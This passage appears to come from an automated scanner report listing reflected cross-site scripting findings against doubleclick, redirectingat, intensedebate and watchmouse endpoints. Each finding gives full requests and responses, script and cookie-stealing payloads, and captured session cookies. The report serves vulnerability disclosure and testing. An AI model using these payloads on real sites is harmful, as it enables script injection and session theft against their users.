<A HREF="http://mig.nexac.com/RealMedia/ads/click_lx.ads/B3DM/DLX/1142704585/x963dbe3"><script>alert(1)</script>dc805862fa/default/empty.gif/726348573830302b4b504d4141664364?x" target="_top"><IMG SRC=
...[SNIP]...

1.176. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Issue detail

The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload e0eaa<script>alert(1)</script>cd417b31ba9 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gampad/ads?correlator=1297259925559&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-1076724771190722&slotname=blog_postpage_72890e0eaa<script>alert(1)</script>cd417b31ba9&page_slots=blog_postpage_72890&cookie_enabled=1&ga_vid=1798846169.1297259929&ga_sid=1297259929&ga_hid=1078606781&url=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://blog.csdn.net/jiji262/archive/2007/07/28/1713771.aspx?3541f'style%3d'x%3aexpression(alert(1))'7b381ee316b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Wed, 09 Feb 2011 13:59:26 GMT
Server: gfp-be
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 6631

GA_googleSetAdContentsBySlotForSync({"blog_postpage_72890e0eaa<script>alert(1)</script>cd417b31ba9":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#0
...[SNIP]...

1.177. http://redirectingat.com/api/ [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://redirectingat.com
Path:	/api/

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 4f8b9<script>alert(1)</script>6deb514662f was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/?callback=skimlinksApplyHandlers4f8b9<script>alert(1)</script>6deb514662f&data=%7B%22pubcode%22%3A%223912X635905%22%2C%22domains%22%3A%5B%22kara.allthingsd.com%22%2C%22biggovernment.com%22%2C%22googlemobile.blogspot.com%22%2C%22deadline.com%22%2C%22engadget.com%22%2C%22newyorker.com%22%2C%22mediadecoder.blogs.nytimes.com%22%2C%22krugman.blogs.nytimes.com%22%2C%22artsbeat.blogs.nytimes.com%22%2C%22ubergizmo.com%22%2C%22thinkprogress.org%22%2C%22telegraph.co.uk%22%2C%22ib.adnxs.com%22%2C%22twitter.com%22%2C%22twittorati.com%22%2C%22blogcritics.org%22%2C%22technoratimedia.com%22%2C%22indyposted.com%22%2C%22mixx.com%22%2C%22wesay.com%22%2C%22dailyblogtips.com%22%2C%22environmentalgraffiti.com%22%2C%22blastmagazine.com%22%2C%22justin.tv%22%2C%22stylecrave.com%22%2C%22triond.com%22%2C%22shrinktheweb.com%22%2C%22creativecommons.org%22%5D%7D HTTP/1.1
Host: redirectingat.com
Proxy-Connection: keep-alive
Referer: http://technorati.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:07:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3
X-SKIM-Hostname: muttley.skimlinks.com
Content-Length: 90
Connection: close
Content-Type: text/html; charset=UTF-8

skimlinksApplyHandlers4f8b9<script>alert(1)</script>6deb514662f({"merchant_domains":[]});

1.178. http://s.intensedebate.com/images/twitter-favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s.intensedebate.com
Path:	/images/twitter-favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2b455'><script>alert(1)</script>af37c82c065 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /images/twitter-favicon.ico2b455'><script>alert(1)</script>af37c82c065 HTTP/1.1
Host: s.intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Wed, 09 Feb 2011 13:31:43 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Server: nginx
Vary: Accept-Encoding
Content-Length: 4719

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/images/twitter-favicon.ico2b455'><script>alert(1)</script>af37c82c065'>
...[SNIP]...

1.179. http://s.intensedebate.com/themes/universal/images/idc-universal.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s.intensedebate.com
Path:	/themes/universal/images/idc-universal.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d738a'><script>alert(1)</script>2035d16e5c6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themes/universal/images/idc-universal.pngd738a'><script>alert(1)</script>2035d16e5c6?=4 HTTP/1.1
Host: s.intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Wed, 09 Feb 2011 13:31:56 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Server: nginx
Vary: Accept-Encoding
Content-Length: 4738

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/themes/universal/images/idc-universal.pngd738a'><script>alert(1)</script>2035d16e5c6?=4'>
...[SNIP]...

1.180. https://secure.watchmouse.com/assets/css/fancybox.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59f42"><script>alert(1)</script>77fbf6c1c6c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets59f42"><script>alert(1)</script>77fbf6c1c6c/css/fancybox.css HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-92c7ea61c53fe0856faf2aa9db8d7ac6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets59f42"><script>alert(1)</script>77fbf6c1c6c/css/fancybox.css" method="post">
...[SNIP]...

1.181. https://secure.watchmouse.com/assets/css/fancybox.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2665"><script>alert(1)</script>c61e86157ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/csse2665"><script>alert(1)</script>c61e86157ef/fancybox.css HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-29746f857df2caac146afc49fe4a6ccc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/csse2665"><script>alert(1)</script>c61e86157ef/fancybox.css" method="post">
...[SNIP]...

1.182. https://secure.watchmouse.com/assets/css/fancybox.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/fancybox.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b905"><script>alert(1)</script>e5c9d149996 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/fancybox.css5b905"><script>alert(1)</script>e5c9d149996 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-1bf23d5f9c7396d951419f162836f2af"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/fancybox.css5b905"><script>alert(1)</script>e5c9d149996" method="post">
...[SNIP]...

1.183. https://secure.watchmouse.com/assets/css/print.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12604"><script>alert(1)</script>c91f43e7654 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets12604"><script>alert(1)</script>c91f43e7654/css/print.css?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:27:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-b709bccab9ea05d574af943e7a235c28"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets12604"><script>alert(1)</script>c91f43e7654/css/print.css?20101008" method="post">
...[SNIP]...

1.184. https://secure.watchmouse.com/assets/css/print.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ec3a"><script>alert(1)</script>6198b6aec7f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css7ec3a"><script>alert(1)</script>6198b6aec7f/print.css?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:27:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-48967952e7d0bf43ad1488d7fa04691b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css7ec3a"><script>alert(1)</script>6198b6aec7f/print.css?20101008" method="post">
...[SNIP]...

1.185. https://secure.watchmouse.com/assets/css/print.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/print.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46990"><script>alert(1)</script>c906927119 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/print.css46990"><script>alert(1)</script>c906927119?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:28:01 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a39a891482e0b4031594c7cd351ff9e8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/print.css46990"><script>alert(1)</script>c906927119?20101008" method="post">
...[SNIP]...

1.186. https://secure.watchmouse.com/assets/css/screen.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1899"><script>alert(1)</script>9292e8d4d19 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsb1899"><script>alert(1)</script>9292e8d4d19/css/screen.css?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:27:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-2e997f334511fdf2e36cb56837870283"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsb1899"><script>alert(1)</script>9292e8d4d19/css/screen.css?20101008" method="post">
...[SNIP]...

1.187. https://secure.watchmouse.com/assets/css/screen.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd7a1"><script>alert(1)</script>4a32a0aeff2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/csscd7a1"><script>alert(1)</script>4a32a0aeff2/screen.css?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:27:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-0d602ff0d025210c10d46373c9443206"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13217
